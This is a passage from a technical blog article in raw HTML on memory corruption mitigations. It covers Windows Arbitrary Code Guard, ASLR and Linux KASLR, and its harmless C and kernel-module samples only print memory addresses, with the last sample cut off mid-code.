src="https://lh7-us.googleusercontent.com/uu0i8RE3Qg7gMnoqgrWqKeNllrsrQUElFYvgfrTftFofjoDaYE1m4acQt1JHdO_wDOOQB-abqfGdUDn8WVxLvVsD0nkzXT7jssf2_KGokXcfQ4WthWSZqpdfmOS3WvrKcUxGvBmuaBFRWWtk6tThPqk" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="384" height="183"></figure><p>The propolice methodology is still used by gcc and other compilers to a greater extent.</p><p><strong>Resources</strong></p><p>https://web.archive.org/web/20040603202721/http://www.research.ibm.com/trl/projects/security/ssp/</p><p><a href="https://dominoweb.draco.res.ibm.com/reports/rt0371.pdf?ref=nixhacker.com">https://dominoweb.draco.res.ibm.com/reports/rt0371.pdf</a></p><p></p><h3 id="honorable-mention">Honorable mention:</h3><p>In windows 10, Microsoft has added a new mitigation named &#xA0;Arbitrary code guard in Windows kernel, which is based on setting and verifying memory permissions for specific pages based on certain policy and blocking the attempt that breaks the policy. ACG is based on prevents a process from doing these two things:</p><ul><li>Allocating new executable memory (without an image file backing it)</li><li>Modifying any existing executable memory by writing to it.</li></ul><p>You can read more about ACG here: https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/</p><p></p><h3 id="aslr-address-space-layout-randomization">ASLR (Address Space Layout Randomization)</h3><p>The idea of ASLR was first introduced in PAX project in 2001. Later it was added in OpenBSD in 2003, followed by linux in 2005 and Windows vista in 2007. The main goal of ASLR is to prevent the exploitation due to memory corruption rather than the detecting/preventing corruption itself.</p><p>The exploitation of a memory corruption vulnerability entails the act of redirecting the return address to an alternative function or shellcode address that is either malicious or unexpected. In order for the exploitation to be successful, the attacker must possess knowledge of the specific target address that they intend to execute. Drawing inspiration from this, Address Space Layout Randomization (ASLR) was implemented as a means to randomize the addresses of most, if not all, sections within a process&apos;s memory. By doing so, this serves to prevent attackers from being able to predict the location of any malicious function or shellcode addresses.</p><h4 id="aslr-in-action">ASLR in action</h4><h5 id="aslr-in-linux">ASLR in linux</h5><p>Let&#x2019;s take a look at simple c program below to understand the impact of ASLR:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> bss_var;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">()</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> stack_var = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">10</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> heap_var = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">malloc</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">120</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">long</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> text_var = &amp;main;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *a = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Hello&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Address of variable in stack is 0x%lx\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">,&amp;stack_var);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Address of variable in heap is 0x%lx\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">,heap_var);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Address of variable in rdata is 0x%lx\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">,a);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Address of variable in bss is 0x%lx\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;bss_var);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Address of variable in text is 0x%lx\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, text_var);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p>When you execute the below code multiple times in linux, you will get the output like below:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/rUb5E8RgMD0fDWi4Y4QHmk8dY-ViHD3fRJ9ZfWzSeREdnvgiinqTxBGALPMrae-K_PK-QixT5xau0rqFpmVRd8F1gN2xIvhX-C8rjUjj9SbA4oA1aSLszH2I5oJV0GiDWbHzra9KHHpeKpaGU3vVat8" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="526" height="563"></figure><p>From the above output, we can conclude that linux have following memory layout:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/enTnYzCgZEJIqAxtsBIDb-bzurNqdeePIosK39RyIcOLSFtL0ww5UUA_iJ--fiG8WutI6rOf_Y7om-fCF1bytVH7ZWY85CjYoX_YDFAJ4husi8Qy80_7n1KkFeIicfaL-FTXAztBMjmyZEc6ZG4LNoc" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 2" loading="lazy" width="306" height="371"></figure><p>Although the order of the various sections remains consistent, the different addresses of variables during each execution imply that the base address for each section changes. However, it is worth noting that the text section possesses a fixed address. Due to this element of randomization, accurately determining the location of certain data or shellcode in the process memory becomes exceedingly challenging, thereby making it difficult for an attacker to exploit the buffer overflow scenario for the purpose of executing a shellcode.</p><h5 id="aslr-in-linux-kernel-kaslr">ASLR in linux kernel (KASLR)</h5><p>Linux kernel added support for ASLR in 2006 (v2.6) which known as KASLR &#x2013; Kernel address space layout randomization. KASLR patches has introduced following changes in kernel memory:</p><ul><li>Kernel image which used to reside at a static address in lowmem can now be present at any memory location in kernel memory.</li><li>Initial loading addresses of modules are randomized.</li><li>Both virtual and physical addresses of components get randomized.</li><li>Other memory regions like <em>vmalloc</em>, <em>vmap </em>and <em>ioremap </em>area are also randomized.</li><li>Later the linux kernel also introduced the <em>KSTACK_RANDOMIZE </em>feature that will randomize the kernel stack base created on each syscall.</li></ul><p>Let&#x2019;s verify the impact of KASLR in linux kernel:</p><p>You need to load the below compiled driver to understand the effect of KASLR in linux kernel:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><br><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;linux/module.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;linux/slab.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> kernel_bss;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> kernel_rodata = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">10</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">static</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">my_init</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">void</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *buf;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> stack_var = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">10</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; buf = kmalloc(</span><span 